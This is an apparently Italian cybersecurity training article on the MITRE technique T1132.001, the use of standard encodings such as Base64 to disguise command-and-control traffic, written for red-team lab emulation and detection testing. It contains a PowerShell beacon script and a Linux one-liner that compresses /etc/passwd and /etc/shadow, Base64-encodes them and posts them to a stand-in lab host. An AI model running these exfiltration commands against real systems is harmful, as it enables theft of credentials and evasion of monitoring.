Iscriviti al webinar gratuito del 20 Ottobre per diventare Ethical Hacker! Scopri di più
Codifica Standard: Standard Encoding (T1132.001)
La tecnica T1132.001 – Standard Encoding appartiene alla tattica TA0011 (Command and Control) e descrive l'uso di schemi di codifica standard per offuscare il traffico C2 senza ricorrere a cifratura crittografica vera e propria. Gli avversari sfruttano codifiche pubblicamente documentate come Base64, Base32, Base16 (esadecimale), ASCII, Unicode e MIME, talvolta abbinate a compressione (gzip, zlib, bzip2) per ridurre il rumore statistico o mascherare pattern binari all'interno di header HTTP, cookie, sottodomini DNS o body di POST.
L'obiettivo non è la riservatezza — chiunque intercetti il traffico può decodificarlo — ma il bypass di controlli superficiali come IDS con firme grezze, proxy che ispezionano solo caratteri ASCII stampabili o strumenti di DLP che non normalizzano il payload prima dell'analisi. La codifica standard è particolarmente insidiosa perché si mimetizza con traffico legittimo (JSON API, cookie di sessione, token OAuth) e sopravvive attraverso proxy che riscrivono richieste HTTP.
I numeri raccontano la centralità della tecnica: 108 famiglie di malware e 11 gruppi APT documentati la impiegano, spaziando da RAT commerciali come njRAT e Revenge RAT fino a impianti sofisticati come SUNBURST, Cobalt Strike e Sliver. Copre l'intera kill chain post-exploitation: consegna di comandi dal C2, esfiltrazione di credenziali, trasmissione di moduli aggiuntivi e beaconing periodico. La sua ubiquità la rende un baseline detection point imprescindibile per qualsiasi SOC che voglia caratterizzare traffico anomalo verso Internet.
Simulare T1132.001 in un esercizio red team significa riprodurre le catene di codifica utilizzate dai malware reali, mantenendo però il controllo del laboratorio. L'approccio più didattico parte da PowerShell su Windows, dove la codifica Base64 è nativa e ampiamente abusata.
Un primo scenario emula il pattern osservato in QUADAGENT e PowerShower. Su un host di test, esegui la costruzione di un beacon che raccoglie hostname e username, li serializza in JSON e li codifica prima di inviarli:
$data = @{host=$env:COMPUTERNAME; user=$env:USERNAME} | ConvertTo-Json
$enc = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data))
Invoke-WebRequest -Uri http://lab-c2.local/beacon -Method POST -Body $enc
Questa catena riproduce il comportamento di Octopus, Kazuar e SMOKEDHAM. Per emulare l'uso di certutil visto in BabyShark, il comando certutil -encode input.bin output.b64 produce un file Base64 con header PEM-like, utile per testare regole che cercano stringhe -----BEGIN CERTIFICATE----- fuori contesto.
Su Linux la simulazione più realistica sfrutta utility POSIX standard, come fanno molte varianti di Fysbis e RotaJakiro. Una catena tipica è tar czf - /etc/passwd /etc/shadow 2>/dev/null | base64 -w0 | curl -X POST --data-binary @- http://lab-c2.local/exfil, che combina compressione gzip e codifica Base64 in un unico stream. Per emulare RDAT o RogueRobin, che usano sottodomini DNS come canale, uno script che frammenta un payload in chunk Base32 e li invia come query dig verso un name server controllato replica fedelmente il pattern.
Per test più aderenti agli operatori reali, Sliver (open source) e Cobalt Strike (a pagamento) offrono profili C2 configurabili che alternano Base64, URL-safe Base64 e NetBIOS encoding. Sliver in particolare consente di generare implant che negoziano gzip+hex over HTTPS con una sola direttiva nel profilo. Un secondo tool utile è Mythic (open source), che espone diversi container C2 con encoding personalizzabili tramite profili Python.
Per la fase di validazione, cattura il traffico con tcpdump (open source) o Wireshark (open source) e verifica che le regole Suricata o Zeta del blue team rilevino asimmetria bytes_out/bytes_in, entropia elevata sul body HTTP e presenza di token Base64 continui oltre i 100 caratteri. Documenta ogni variante testata in un report che mappi il TTP alla detection attivata, così da alimentare il ciclo purple team.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo
2 minuti · 7 domande
Che professionista cyber sei?
Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.